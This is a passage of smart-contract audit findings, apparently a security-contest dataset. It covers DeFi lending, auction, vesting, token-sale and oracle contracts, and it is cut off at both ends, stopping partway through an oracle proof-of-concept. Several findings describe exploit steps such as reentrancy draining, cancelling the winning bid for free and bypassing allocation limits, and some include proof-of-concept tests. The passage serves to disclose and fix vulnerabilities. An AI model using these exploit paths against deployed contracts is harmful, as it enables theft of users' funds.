times.\\nFurthermore, if the user simply does it in multiple transactions, they can avoid these extra fees (as they can simply call `borrow` for X 3 times and pay 3Y in Liquidation bonuses)
make liquidation bonus simply a % of totalBorrowed
Loss of funds
```\\n function getLiquidationBonus(\\n address token,\\n uint256 borrowedAmount,\\n uint256 times\\n ) public view returns (uint256 liquidationBonus) {\\n // Retrieve liquidation bonus for the given token\\n Liquidation memory liq = liquidationBonusForToken[token];\\n unchecked {\\n if (liq.bonusBP == 0) {\\n // If there is no specific bonus for the token\\n // Use default bonus\\n liq.minBonusAmount = Constants.MINIMUM_AMOUNT;\\n liq.bonusBP = dafaultLiquidationBonusBP;\\n }\\n liquidationBonus = (borrowedAmount * liq.bonusBP) / Constants.BP;\\n\\n if (liquidationBonus < liq.minBonusAmount) {\\n liquidationBonus = liq.minBonusAmount;\\n }\\n liquidationBonus *= (times > 0 ? times : 1);\\n }\\n }\\n```\\n
When the amout of token acquired by a flash loan exceeds the expected value, the callback function will fail.
medium
When the amout of token acquired by a flash loan exceeds the expected value, the callback function will fail.\\nThe function `wagmiLeverageFlashCallback` is used to handle the repayment operation after flash loan. After obtaining enough saleToken, it uses `_v3SwapExact` to convert the saleToken into holdToken. We know that the amount of holdTokens (holdTokenAmtIn) is proportional to the amount of saleTokens (amountToPay) obtained from flash loans. Later, the function will check the `holdTokenAmtIn` is no large than decodedData.holdTokenDebt.\\n```\\n// Swap tokens to repay the flash loan\\nuint256 holdTokenAmtIn = _v3SwapExact(\\n v3SwapExactParams({\\n isExactInput: false,\\n fee: decodedData.fee,\\n tokenIn: decodedData.holdToken,\\n tokenOut: decodedData.saleToken,\\n amount: amountToPay\\n })\\n);\\ndecodedData.holdTokenDebt -= decodedData.zeroForSaleToken\\n ? decodedData.amounts.amount1\\n : decodedData.amounts.amount0;\\n\\n// Check for strict route adherence, revert the transaction if conditions are not met\\n(decodedData.routes.strict && holdTokenAmtIn > decodedData.holdTokenDebt).revertError(\\n ErrLib.ErrorCode.SWAP_AFTER_FLASH_LOAN_FAILED\\n);\\n```\\n\\nIn the function `_excuteCallback`, the amount of token finally obtained by the user through flash loan is `flashBalance`, which is the balance of the contract.\\n```\\n// Transfer the flashBalance to the recipient\\ndecodedData.saleToken.safeTransfer(decodedDataExt.recipient, flashBalance);\\n// Invoke the WagmiLeverage callback function with updated parameters\\nIWagmiLeverageFlashCallback(decodedDataExt.recipient).wagmiLeverageFlashCallback(\\n flashBalance,\\n interest,\\n decodedDataExt.originData\\n);\\n```\\n\\nNow let me describe how the attacker compromises the flash loans.\\nFirst, the attacker makes a donation to the `FlashLoanAggregator` contract before the victim performs a flash loan (using front-run). Then victim performs a flash loan, and he/she will get much more flashBalance than expected. Finally, in the function `wagmiLeverageFlashCallback`, the holdTokenAmtIn is larger than experted, which leads to fail.
In the function `_excuteCallback`, the amount of token finally obtained by the user through flash loan should be the the balance difference during the flash loan period.
DOS
```\\n// Swap tokens to repay the flash loan\\nuint256 holdTokenAmtIn = _v3SwapExact(\\n v3SwapExactParams({\\n isExactInput: false,\\n fee: decodedData.fee,\\n tokenIn: decodedData.holdToken,\\n tokenOut: decodedData.saleToken,\\n amount: amountToPay\\n })\\n);\\ndecodedData.holdTokenDebt -= decodedData.zeroForSaleToken\\n ? decodedData.amounts.amount1\\n : decodedData.amounts.amount0;\\n\\n// Check for strict route adherence, revert the transaction if conditions are not met\\n(decodedData.routes.strict && holdTokenAmtIn > decodedData.holdTokenDebt).revertError(\\n ErrLib.ErrorCode.SWAP_AFTER_FLASH_LOAN_FAILED\\n);\\n```\\n
Highest bidder can withdraw his collateral due to a missing check in _cancelAllBids
high
A bidder with the highest bid cannot cancel his bid since this would break the auction. A check to ensure this was implemented in `_cancelBid`.\\nHowever, this check was not implemented in `_cancelAllBids`, allowing the highest bidder to withdraw his collateral and win the auction for free.\\nThe highest bidder should not be able to cancel his bid, since this would break the entire auction mechanism.\\nIn `_cancelBid` we can find a require check that ensures this:\\n```\\n require(\\n bidder != l.highestBids[tokenId][round].bidder,\\n 'EnglishPeriodicAuction: Cannot cancel bid if highest bidder'\\n );\\n```\\n\\nYet in `_cancelAllBids`, this check was not implemented.\\n```\\n * @notice Cancel bids for all rounds\\n */\\n function _cancelAllBids(uint256 tokenId, address bidder) internal {\\n EnglishPeriodicAuctionStorage.Layout\\n storage l = EnglishPeriodicAuctionStorage.layout();\\n\\n uint256 currentAuctionRound = l.currentAuctionRound[tokenId];\\n\\n for (uint256 i = 0; i <= currentAuctionRound; i++) {\\n Bid storage bid = l.bids[tokenId][i][bidder];\\n\\n if (bid.collateralAmount > 0) {\\n // Make collateral available to withdraw\\n l.availableCollateral[bidder] += bid.collateralAmount;\\n\\n // Reset collateral and bid\\n bid.collateralAmount = 0;\\n bid.bidAmount = 0;\\n }\\n }\\n }\\n```\\n\\nExample: User Bob bids 10 eth and takes the highest bidder spot. Bob calls `cancelAllBidsAndWithdrawCollateral`.\\nThe `_cancelAllBids` function is called and this makes all the collateral from all his bids from every round available to Bob. This includes the current round `<=` and does not check if Bob is the current highest bidder. Nor is `l.highestBids[tokenId][round].bidder` reset, so the system still has Bob as the highest bidder.\\nThen `_withdrawCollateral` is automatically called and Bob receives his 10 eth back.\\nThe auction ends. If Bob is still the highest bidder, he wins the auction and his bidAmount of 10 eth is added to the availableCollateral of the oldBidder.\\nIf there currently is more than 10 eth in the contract (ongoing auctions, bids that have not withdrawn), then the oldBidder can withdraw 10 eth. But this means that in the future a withdraw will fail due to this missing 10 eth.
Implement the require check from _cancelBid to _cancelAllBids.
A malicious user can win an auction for free.\\nAdditionally, either the oldBidder or some other user in the future will suffer the loss.\\nIf this is repeated multiple times, it will drain the contract balance and all users will lose their locked collateral.
```\\n require(\\n bidder != l.highestBids[tokenId][round].bidder,\\n 'EnglishPeriodicAuction: Cannot cancel bid if highest bidder'\\n );\\n```\\n
User Can Vote Even When They Have 0 Locked Mento (Edge Case)
medium
There exists an edge case where the user will be withdrawing his entire locked MENTO amount and even then will be able to vote , this is depicted by a PoC to make things clearer.\\nThe flow to receiving voting power can be understood in simple terms as follows ->\\nUsers locks his MENTO and chooses a delegate-> received veMENTO which gives them(delegatee) voting power (there's cliff and slope at play too)\\nThe veMENTO is not a standard ERC20 , it is depicted through "lines" , voting power declines ( ie. slope period) with time and with time you can withdraw more of your MENTO.\\nThe edge case where the user will be withdrawing his entire locked MENTO amount and even then will be able to vote is as follows ->\\n1.) User has locked his MENTO balance in the Locking.sol\\n2.) The owner of the contract "stops" the contract for some emergency reason.\\n4.) Since the contract is stopped , the `getAvailableForWithdraw` will return the entire locked amount of the user as withdrawable\\n```\\nfunction getAvailableForWithdraw(address account) public view returns (uint96) {\\n uint96 value = accounts[account].amount;\\n if (!stopped) {\\n uint32 currentBlock = getBlockNumber();\\n uint32 time = roundTimestamp(currentBlock);\\n uint96 bias = accounts[account].locked.actualValue(time, currentBlock);\\n value = value - (bias);\\n }\\n return value;\\n```\\n\\n5.) The user receives his entire locked amount in L101.\\n6.) The owner "start()" the contract again\\n7.) Since the user's veMENTO power was not effected by the above flow , there still exists veMENTO a.k.a voting power to the delegate, and the user's delegate is still able to vote on proposals (even when the user has withdrew everything).\\nPOC\\nImport console log first in the file , paste this test in the `GovernanceIntegration.t.sol`\\n```\\nfunction test_Poc_Stop() public {\\n\\n vm.prank(governanceTimelockAddress);\\n mentoToken.transfer(alice, 10_000e18);\\n\\n vm.prank(governanceTimelockAddress);\\n mentoToken.transfer(bob, 10_000e18);\\n\\n vm.prank(alice);\\n locking.lock(alice, alice, 10_000e18, 1, 103);\\n\\n vm.prank(bob);\\n locking.lock(bob, bob, 1500e18, 1, 103);\\n\\n vm.timeTravel(BLOCKS_DAY);\\n\\n uint256 newVotingDelay = BLOCKS_DAY;\\n uint256 newVotingPeriod = 2 * BLOCKS_WEEK;\\n uint256 newThreshold = 5000e18;\\n uint256 newQuorum = 10; //10%\\n uint256 newMinDelay = 3 days;\\n uint32 newMinCliff = 6;\\n uint32 newMinSlope = 12;\\n\\n vm.prank(alice);\\n (\\n uint256 proposalId,\\n address[] memory targets,\\n uint256[] memory values,\\n bytes[] memory calldatas,\\n string memory description\\n ) = Proposals._proposeChangeSettings(\\n mentoGovernor,\\n governanceTimelock,\\n locking,\\n newVotingDelay,\\n newVotingPeriod,\\n newThreshold,\\n newQuorum,\\n newMinDelay,\\n newMinCliff,\\n newMinSlope\\n );\\n\\n // ~10 mins\\n vm.timeTravel(120);\\n\\n \\n\\n vm.startPrank(governanceTimelockAddress);\\n locking.stop();\\n vm.stopPrank();\\n\\n uint bal2 = mentoToken.balanceOf(alice);\\n console.log(bal2);\\n\\n vm.startPrank(alice);\\n locking.withdraw();\\n vm.stopPrank();\\n\\n vm.startPrank(governanceTimelockAddress);\\n locking.start();\\n vm.stopPrank();\\n\\n uint bal = mentoToken.balanceOf(alice);\\n console.log(bal);\\n vm.prank(alice);\\n \\n\\n console.log(mentoGovernor.castVote(proposalId, 1));\\n }\\n```\\n\\nYou can see the Alice withdrew her entire locked amount and still was able to caste her vote.
When the entire amount is withdrawn adjust the logic to remove the corresponding lines for the delegator.
User still able to vote even when the entire locked amount is withdrawn.
```\\nfunction getAvailableForWithdraw(address account) public view returns (uint96) {\\n uint96 value = accounts[account].amount;\\n if (!stopped) {\\n uint32 currentBlock = getBlockNumber();\\n uint32 time = roundTimestamp(currentBlock);\\n uint96 bias = accounts[account].locked.actualValue(time, currentBlock);\\n value = value - (bias);\\n }\\n return value;\\n```\\n
Auction fails if the 'Honorarium Rate' is 0%
medium
The Honorarium Rate is the required percentage of a winning Auction Pitch bid that the Steward makes to the Creator Circle at the beginning of each Stewardship Cycle.\\n`$$ Winning Bid * Honorarium Rate = Periodic Honorarium $$`\\nTo mimic the dynamics of private ownership, the Creator Circle may choose a 0% Honorarium Rate. However, doing so breaks the functionality of the protocol.\\nTo place a bid, a user must call the `placeBid` function in `EnglishPeriodicAuctionFacet.sol` and deposit collateral(collateralAmount) equal to `bidAmount + feeAmount`. The `feeAmount` here represents the Honorarium Rate mentioned above. The `placeBid` function calls the `_placeBid` internal function in `EnglishPeriodicAuctionInternal.sol` which calculates the `totalCollateralAmount` as follows :\\n```\\nuint256 totalCollateralAmount = bid.collateralAmount + collateralAmount;\\n```\\n\\nHere, `bid.collateralAmount` is the cumulative collateral deposited by the bidder in previous bids during the current auction round(i.e, zero if no bids were placed), and `collateralAmount` is the collateral to be deposited to place the bid. However the `_placeBid` function requires that `totalCollateralAmount` is strictly greater than `bidAmount` if the bidder is not the current owner of the Stewardship License. This check fails when the `feeAmount` is zero and this causes a Denial of Service to users trying to place a bid. Even if the users try to bypass this by depositing a value slightly larger than `bidAmount`, the `_checkBidAmount` function would still revert with `'Incorrect bid amount'`\\nPOC\\nThe following test demonstrates the above-mentioned scenario :\\n```\\n describe('exploit', function () {\\n it('POC', async function () {\\n // Auction start: Now + 100\\n // Auction end: Now + 400\\n const instance = await getInstance({\\n auctionLengthSeconds: 300,\\n initialPeriodStartTime: (await time.latest()) + 100,\\n licensePeriod: 1000,\\n });\\n const licenseMock = await ethers.getContractAt(\\n 'NativeStewardLicenseMock',\\n instance.address,\\n );\\n\\n // Mint token manually\\n const steward = bidder2.address;\\n await licenseMock.mintToken(steward, 0);\\n\\n // Start auction\\n await time.increase(300);\\n \\n const bidAmount = ethers.utils.parseEther('1.0');\\n const feeAmount = await instance.calculateFeeFromBid(bidAmount);\\n const collateralAmount = feeAmount.add(bidAmount);\\n\\n // Reverts when a user tries to place a bid\\n await expect( instance\\n .connect(bidder1)\\n .placeBid(0, bidAmount, { value: collateralAmount })).to.be.revertedWith('EnglishPeriodicAuction: Collateral must be greater than current bid');\\n\\n \\n \\n const extraAmt = ethers.utils.parseEther('0.1');\\n const collateralAmount1 = feeAmount.add(bidAmount).add(extraAmt);\\n \\n // Also reverts when the user tries to deposit collateral slighty greater than bid amount\\n await expect( instance\\n .connect(bidder1)\\n .placeBid(0, bidAmount, { value: collateralAmount1 })).to.be.revertedWith('EnglishPeriodicAuction: Incorrect bid amount'); \\n \\n // Only accepts a bid from the current steward\\n \\n await expect( instance\\n .connect(bidder2)\\n .placeBid(0, bidAmount, { value: 0 })).to.not.be.reverted;\\n\\n });\\n });\\n```\\n\\nTo run the test, copy the code above to `EnglishPeriodicAuction.ts` and alter L#68 as follows :\\n```\\n// Remove the line below\\n [await owner.getAddress(), licensePeriod, 1, 10],\\n// Add the line below\\n [await owner.getAddress(), licensePeriod, 0, 10],\\n```\\n\\nRun `yarn run hardhat test --grep 'POC'`
Alter EnglishPeriodicAuctionInternal.sol::L#330 as follows :\\n```\\n// Remove the line below\\n totalCollateralAmount > bidAmount,\\n// Add the line below\\n totalCollateralAmount >= bidAmount, \\n```\\n
The protocol becomes dysfunctional in such a scenario as users as DOS'd from placing a bid.
```\\nuint256 totalCollateralAmount = bid.collateralAmount + collateralAmount;\\n```\\n
Currently auctioned NFTs can be transferred to a different address in a specific edge case
medium
Currently auctioned NFTs can be transferred to a different address in a specific edge case, leading to theft of funds.\\nThe protocol assumes that an NFT cannot change owner while it's being auctioned, this is generally the case but there is an exception, an NFT can change owner via mintToken() while an auction is ongoing when all the following conditions apply:\\nAn NFT is added `to` the collection without being minted (ie. `to` set `to` address(0)).\\nThe NFT is added `to` the collection with the parameter `tokenInitialPeriodStartTime[]` set `to` a timestamp lower than `l.initialPeriodStartTime` but bigger than 0(ie. `0` < `tokenInitialPeriodStartTime[]` < l.initialPeriodStartTime).\\nThe current `block.timestamp` is in-between `tokenInitialPeriodStartTime[]` and `l.initialPeriodStartTime`.\\nA malicious `initialBidder` can take advantage of this by:\\nBidding on the new added NFT via placeBid().\\nCalling mintToken() to transfer the NFT to a different address he controls.\\nClosing the auction via closeAuction()\\nAt point `3.`, because the NFT owner changed, the winning bidder (ie. initialBidder) is not the current NFT owner anymore. This will trigger the following line of code:\\n```\\nl.availableCollateral[oldBidder] += l.highestBids[tokenId][currentAuctionRound].bidAmount;\\n```\\n\\nWhich increases the `availableCollateral` of the `oldBidder` (ie. the address that owns the NFT after point 2.) by `bidAmount` of the highest bid. But because at the moment the highest bid was placed `initialBidder` was also the NFT owner, he only needed to transfer the `ETH` fee to the protocol instead of the whole bid amount.\\nThe `initialBidder` is now able to extract ETH from the protocol via the address used in point `2.` by calling withdrawCollateral() while also retaining the NFT license.
Don't allow `tokenInitialPeriodStartTime[]` to be set at a timestamp beforel.initialPeriodStartTime.
Malicious initial bidder can potentially steal ETH from the protocol in an edge case. If the `ADD_TOKEN_TO_COLLECTION_ROLE` is also malicious, it's possible to drain the protocol.
```\\nl.availableCollateral[oldBidder] += l.highestBids[tokenId][currentAuctionRound].bidAmount;\\n```\\n
Tax refund is calculated based on the wrong amount
high
Tax refund is calculated based on the wrong amount\\nAfter the private period has finished, users can claim a tax refund, based on their max tax free allocation.\\n```\\n (s.share, left) = _claim(s);\\n require(left > 0, "TokenSale: Nothing to claim");\\n uint256 refundTaxAmount;\\n if (s.taxAmount > 0) {\\n uint256 tax = userTaxRate(s.amount, msg.sender);\\n uint256 taxFreeAllc = _maxTaxfreeAllocation(msg.sender) * PCT_BASE;\\n if (taxFreeAllc >= s.share) {\\n refundTaxAmount = s.taxAmount;\\n } else {\\n refundTaxAmount = (left * tax) / POINT_BASE;\\n }\\n usdc.safeTransferFrom(marketingWallet, msg.sender, refundTaxAmount);\\n }\\n```\\n\\nThe problem is that in case `s.share > taxFreeAllc`, the tax refund is calculated wrongfully. Not only it should refund the tax on the unused USDC amount, but it should also refund the tax for the tax-free allocation the user has.\\nImagine the following.\\nUser deposits 1000 USDC.\\nPrivate period finishes, token oversells. Only half of the user's money actually go towards the sell (s.share = 500 USDC, s.left = 500 USDC)\\nThe user has 400 USDC tax-free allocation\\nThe user must be refunded the tax for the 500 unused USDC, as well as their 400 USDC tax-free allocation. In stead, they're only refunded for the 500 unused USDC. (note, if the user had 500 tax-free allocation, they would've been refunded all tax)
change the code to the following:\\n```\\n refundTaxAmount = ((left + taxFreeAllc) * tax) / POINT_BASE;\\n```\\n
Users are not refunded enough tax
```\\n (s.share, left) = _claim(s);\\n require(left > 0, "TokenSale: Nothing to claim");\\n uint256 refundTaxAmount;\\n if (s.taxAmount > 0) {\\n uint256 tax = userTaxRate(s.amount, msg.sender);\\n uint256 taxFreeAllc = _maxTaxfreeAllocation(msg.sender) * PCT_BASE;\\n if (taxFreeAllc >= s.share) {\\n refundTaxAmount = s.taxAmount;\\n } else {\\n refundTaxAmount = (left * tax) / POINT_BASE;\\n }\\n usdc.safeTransferFrom(marketingWallet, msg.sender, refundTaxAmount);\\n }\\n```\\n
Vesting contract cannot work with ETH, although it's supposed to.
medium
Vesting contract cannot work with native token, although it's supposed to.\\nWithin the claim function, we can see that if `token` is set to address(1), the contract should operate with ETH\\n```\\n function claim() external {\\n address sender = msg.sender;\\n\\n UserDetails storage s = userdetails[sender];\\n require(s.userDeposit != 0, "No Deposit");\\n require(s.index != vestingPoints.length, "already claimed");\\n uint256 pctAmount;\\n uint256 i = s.index;\\n for (i; i <= vestingPoints.length - 1; i++) {\\n if (block.timestamp >= vestingPoints[i][0]) {\\n pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;\\n } else {\\n break;\\n }\\n }\\n if (pctAmount != 0) {\\n if (address(token) == address(1)) {\\n (bool sent, ) = payable(sender).call{value: pctAmount}(""); // @audit - here\\n require(sent, "Failed to send BNB to receiver");\\n } else {\\n token.safeTransfer(sender, pctAmount);\\n }\\n s.index = uint128(i);\\n s.amountClaimed += pctAmount;\\n }\\n }\\n```\\n\\nHowever, it is actually impossible for the contract to operate with ETH, since `updateUserDeposit` always attempts to do a token transfer.\\n```\\n function updateUserDeposit(\\n address[] memory _users,\\n uint256[] memory _amount\\n ) public onlyRole(DEFAULT_ADMIN_ROLE) {\\n require(_users.length <= 250, "array length should be less than 250");\\n require(_users.length == _amount.length, "array length should match");\\n uint256 amount;\\n for (uint256 i = 0; i < _users.length; i++) {\\n userdetails[_users[i]].userDeposit = _amount[i];\\n amount += _amount[i];\\n }\\n token.safeTransferFrom(distributionWallet, address(this), amount); // @audit - this will revert\\n }\\n```\\n\\nSince when the contract is supposed to work with ETH, token is set to address(1), calling `safeTransferFrom` on that address will always revert, thus making it impossible to call this function.
make the following check\\n```\\n if (address(token) != address(1)) token.safeTransferFrom(distributionWallet, address(this), amount);\\n```\\n
Vesting contract is unusable with ETH
```\\n function claim() external {\\n address sender = msg.sender;\\n\\n UserDetails storage s = userdetails[sender];\\n require(s.userDeposit != 0, "No Deposit");\\n require(s.index != vestingPoints.length, "already claimed");\\n uint256 pctAmount;\\n uint256 i = s.index;\\n for (i; i <= vestingPoints.length - 1; i++) {\\n if (block.timestamp >= vestingPoints[i][0]) {\\n pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;\\n } else {\\n break;\\n }\\n }\\n if (pctAmount != 0) {\\n if (address(token) == address(1)) {\\n (bool sent, ) = payable(sender).call{value: pctAmount}(""); // @audit - here\\n require(sent, "Failed to send BNB to receiver");\\n } else {\\n token.safeTransfer(sender, pctAmount);\\n }\\n s.index = uint128(i);\\n s.amountClaimed += pctAmount;\\n }\\n }\\n```\\n
If token does not oversell, users cannot claim tax refund on their tax free allocation.
high
Users may not be able to claim tax refund\\nWithin TokenSale, upon depositing users, users have to pay tax. Then, users can receive a tax-free allocation - meaning they'll be refunded the tax they've paid on part of their deposit.\\nThe problem is that due to a unnecessary require check, users cannot claim their tax refund, unless the token has oversold.\\n```\\n function claim() external {\\n checkingEpoch();\\n require(\\n uint8(epoch) > 1 && !admin.blockClaim(address(this)),\\n "TokenSale: Not time or not allowed"\\n );\\n\\n Staked storage s = stakes[msg.sender];\\n require(s.amount != 0, "TokenSale: No Deposit"); \\n require(!s.claimed, "TokenSale: Already Claimed");\\n\\n uint256 left;\\n (s.share, left) = _claim(s);\\n require(left > 0, "TokenSale: Nothing to claim"); // @audit - problematic line \\n uint256 refundTaxAmount;\\n if (s.taxAmount > 0) {\\n uint256 tax = userTaxRate(s.amount, msg.sender);\\n uint256 taxFreeAllc = _maxTaxfreeAllocation(msg.sender) * PCT_BASE;\\n if (taxFreeAllc >= s.share) {\\n refundTaxAmount = s.taxAmount;\\n } else {\\n refundTaxAmount = (left * tax) / POINT_BASE; // tax refund is on the wrong amount \\n }\\n usdc.safeTransferFrom(marketingWallet, msg.sender, refundTaxAmount);\\n }\\n s.claimed = true;\\n usdc.safeTransfer(msg.sender, left);\\n emit Claim(msg.sender, left);\\n }\\n```\\n\\n```\\n function _claim(Staked memory _s) internal view returns (uint120, uint256) {\\n uint256 left;\\n if (state.totalPrivateSold > (state.totalSupplyInValue)) {\\n uint256 rate = (state.totalSupplyInValue * PCT_BASE) /\\n state.totalPrivateSold;\\n _s.share = uint120((uint256(_s.amount) * rate) / PCT_BASE);\\n left = uint256(_s.amount) - uint256(_s.share);\\n } else {\\n _s.share = uint120(_s.amount);\\n }\\n\\n return (_s.share, left);\\n }\\n```\\n\\n`left` only has value if the token has oversold. Meaning that even if the user has an infinite tax free allocation, if the token has not oversold, they won't be able to claim a tax refund.
Remove the require check
loss of funds
```\\n function claim() external {\\n checkingEpoch();\\n require(\\n uint8(epoch) > 1 && !admin.blockClaim(address(this)),\\n "TokenSale: Not time or not allowed"\\n );\\n\\n Staked storage s = stakes[msg.sender];\\n require(s.amount != 0, "TokenSale: No Deposit"); \\n require(!s.claimed, "TokenSale: Already Claimed");\\n\\n uint256 left;\\n (s.share, left) = _claim(s);\\n require(left > 0, "TokenSale: Nothing to claim"); // @audit - problematic line \\n uint256 refundTaxAmount;\\n if (s.taxAmount > 0) {\\n uint256 tax = userTaxRate(s.amount, msg.sender);\\n uint256 taxFreeAllc = _maxTaxfreeAllocation(msg.sender) * PCT_BASE;\\n if (taxFreeAllc >= s.share) {\\n refundTaxAmount = s.taxAmount;\\n } else {\\n refundTaxAmount = (left * tax) / POINT_BASE; // tax refund is on the wrong amount \\n }\\n usdc.safeTransferFrom(marketingWallet, msg.sender, refundTaxAmount);\\n }\\n s.claimed = true;\\n usdc.safeTransfer(msg.sender, left);\\n emit Claim(msg.sender, left);\\n }\\n```\\n
Reentrancy in Vesting.sol:claim() will allow users to drain the contract due to executing .call() on user's address before setting s.index = uint128(i)
high
Reentrancy in Vesting.sol:claim() will allow users to drain the contract due to executing .call() on user's address before setting s.index = uint128(I)\\nHere is the Vesting.sol:claim() function:\\n```\\nfunction claim() external {\\n address sender = msg.sender;\\n\\n UserDetails storage s = userdetails[sender];\\n require(s.userDeposit != 0, "No Deposit");\\n require(s.index != vestingPoints.length, "already claimed");\\n uint256 pctAmount;\\n uint256 i = s.index;\\n for (i; i <= vestingPoints.length - 1; i++) {\\n if (block.timestamp >= vestingPoints[i][0]) {\\n pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;\\n } else {\\n break;\\n }\\n }\\n if (pctAmount != 0) {\\n if (address(token) == address(1)) {\\n (bool sent, ) = payable(sender).call{value: pctAmount}("");\\n require(sent, "Failed to send BNB to receiver");\\n } else {\\n token.safeTransfer(sender, pctAmount);\\n }\\n s.index = uint128(i);\\n s.amountClaimed += pctAmount;\\n }\\n }\\n```\\n\\nFrom the above, You'll notice the claim() function checks if the caller already claimed by checking if the s.index has already been set to vestingPoints.length. You'll also notice the claim() function executes .call() and transfer the amount to the caller before setting the s.index = uint128(i), thereby allowing reentrancy.\\nLet's consider this sample scenario:\\nAn attacker contract(alice) has some native pctAmount to claim and calls `claim()`.\\n"already claimed" check will pass since it's the first time she's calling `claim()` so her s.index hasn't been set\\nHowever before updating Alice s.index, the Vesting contract performs external .call() to Alice with the amount sent as well\\nAlice reenters `claim()` again on receive of the amount\\nbypass index "already claimed" check since this hasn't been updated yet\\ncontract performs external .call() to Alice with the amount sent as well again,\\nSame thing happens again\\nAlice ends up draining the Vesting contract
Here is the recommended fix:\\n```\\nif (pctAmount != 0) {\\n// Add the line below\\n s.index = uint128(i);\\n if (address(token) == address(1)) {\\n (bool sent, ) = payable(sender).call{value: pctAmount}("");\\n require(sent, "Failed to send BNB to receiver");\\n } else {\\n token.safeTransfer(sender, pctAmount);\\n }\\n// Remove the line below\\n s.index = uint128(i);\\n s.amountClaimed // Add the line below\\n= pctAmount;\\n }\\n```\\n\\nI'll also recommend using reentrancyGuard.
Reentrancy in Vesting.sol:claim() will allow users to drain the contract
```\\nfunction claim() external {\\n address sender = msg.sender;\\n\\n UserDetails storage s = userdetails[sender];\\n require(s.userDeposit != 0, "No Deposit");\\n require(s.index != vestingPoints.length, "already claimed");\\n uint256 pctAmount;\\n uint256 i = s.index;\\n for (i; i <= vestingPoints.length - 1; i++) {\\n if (block.timestamp >= vestingPoints[i][0]) {\\n pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;\\n } else {\\n break;\\n }\\n }\\n if (pctAmount != 0) {\\n if (address(token) == address(1)) {\\n (bool sent, ) = payable(sender).call{value: pctAmount}("");\\n require(sent, "Failed to send BNB to receiver");\\n } else {\\n token.safeTransfer(sender, pctAmount);\\n }\\n s.index = uint128(i);\\n s.amountClaimed += pctAmount;\\n }\\n }\\n```\\n
Blocklisted investors can still claim USDC in `TokenSale.sol`
medium
A wrong argument is passed when checking if a user is blacklisted for claiming in `TokenSale.claim()`. Because the check is insufficient, blocked users can claim their USDC.\\n`Admin.setClaimBlock()` blocks users from claiming. The function accepts the address of the user to be blocked and adds it to the `blockClaim` mapping.\\n```\\n /**\\n @dev Whitelist users\\n @param _address Address of User\\n */\\n function setClaimBlock(address _address) external onlyRole(OPERATOR) {\\n blockClaim[_address] = true;\\n }\\n```\\n\\nThe check in `Admin.claim()` wrongly passes `address(this)` as argument when calling `Admin.blockClaim`.\\n```\\n require(\\n uint8(epoch) > 1 && !admin.blockClaim(address(this)),\\n "TokenSale: Not time or not allowed"\\n );\\n```\\n\\nIn this context, `address(this)` will be the address of the token sale contract and the require statement can be bypassed even by a blocked user.
Pass the address of the user.\\n```\\n require(\\n// Remove the line below\\n uint8(epoch) > 1 && !admin.blockClaim(address(this)),\\n// Add the line below\\n uint8(epoch) > 1 && !admin.blockClaim(msg.sender)),\\n "TokenSale: Not time or not allowed"\\n );\\n```\\n
The whole functionality for blocking claims doesn't work properly.
```\\n /**\\n @dev Whitelist users\\n @param _address Address of User\\n */\\n function setClaimBlock(address _address) external onlyRole(OPERATOR) {\\n blockClaim[_address] = true;\\n }\\n```\\n
Max allocations can be bypassed with multiple addresses because of guaranteed allocations
medium
`TokenSale._processPrivate()` ensures that a user cannot deposit more than their allocation amount. However, each address can deposit up to at least `maxAllocations`. This can be leveraged by a malicious user by using different addresses to claim all tokens without even staking.\\nThe idea of the protocol is to give everyone the right to have at least `maxAlocations` allocations. By completing missions, users level up and unlock new tiers. This process will be increasing their allocations. The problem is that when a user has no allocations, they have still a granted amount of `maxAllocations`.\\n`TokenSale.calculateMaxAllocation` returns $max(maxTierAlloc(), maxAllocation)$\\nFor a user with no allocations, `_maxTierAlloc()` will return 0. The final result will be that this user have `maxAllocation` allocations (because `maxAllocation` > 0).\\n```\\n if (userTier == 0 && giftedTierAllc == 0) {\\n return 0;\\n }\\n```\\n\\nMultiple Ethereum accounts can be used by the same party to take control over the IDO and all its allocations, on top of that without even staking.\\nNOTE: setting `maxAllocation = 0` is not a solution in this case because the protocol wants to still give some allocations to their users.
A possible solution may be to modify `calculateMaxAllocation` in the following way:\\n```\\n function calculateMaxAllocation(address _sender) public returns (uint256) {\\n uint256 userMaxAllc = _maxTierAllc(_sender);\\n// Add the line below\\n if (userMaxAllc == 0) return 0;\\n\\n if (userMaxAllc > maxAllocation) {\\n return userMaxAllc;\\n } else {\\n return maxAllocation;\\n }\\n }\\n```\\n
Buying all allocations without staking. This also violates a key property that only ION holders can deposit.
```\\n if (userTier == 0 && giftedTierAllc == 0) {\\n return 0;\\n }\\n```\\n
Potential damages due to incorrect implementation of the ````ZIP```` algorithm
medium
`WooracleV2_2.fallback()` is used to post zipped token price and state data to the contract for sake of gas saving. However, the first 4 bytes of zipped data are not reserved to distinguish the `ZIP` call and other normal call's function selector. This would cause `ZIP` calls to be accidentally interpreted as any other functions in the contract, result in unintended exceptions and potential damages.\\nAccording solidity's official doc, there are two forms of `fallback()` function `with` or `without` parameter\\n```\\nfallback () external [payable];\\nfallback (bytes calldata _input) external [payable] returns (bytes memory _output);\\n```\\n\\nIf the version with parameters is used, _input will contain the full data sent to the contract (equal to msg.data)\\nAs the `_input` data is equal to `msg.data`, the solidity compiler would firstly check if first 4 bytes matches any normal function selectors, and would only execute `fallback(_input)` while no matching. Therefore, in zipped data, the first 4 bytes must be set to some reserved function selector, such as `0x00000000`, with no collision to normal function selectors. And the real zipped data then starts from 5th byte.\\nThe following coded PoC shows cases that the zipped data is accidentally interpreted as:\\nfunction renounceOwnership(); function setStaleDuration(uint256); function postPrice(address,uint128); function syncTS(uint256);\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport {Test} from "../../lib/forge-std/src/Test.sol";\\nimport {console2} from "../../lib/forge-std/src/console2.sol";\\nimport {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";\\n\\ncontract WooracleZipBugTest is Test {\\n WooracleV2_2 public oracle;\\n\\n function setUp() public {\\n oracle = new WooracleV2_2();\\n }\\n\\n function testNormalCase() public {\\n /* reference:\\n File: test\\typescript\\wooraclev2_zip_inherit.test.ts\\n 97: function _encode_woo_price() {\\n op = 0\\n len = 1\\n (base, p)\\n base: 6, woo token\\n price: 0.23020\\n 23020000 (decimal = 8)\\n */\\n uint8 base = 6;\\n bytes memory zip = _makeZipData({\\n op: 0,\\n length: 1,\\n leadingBytesOfBody: 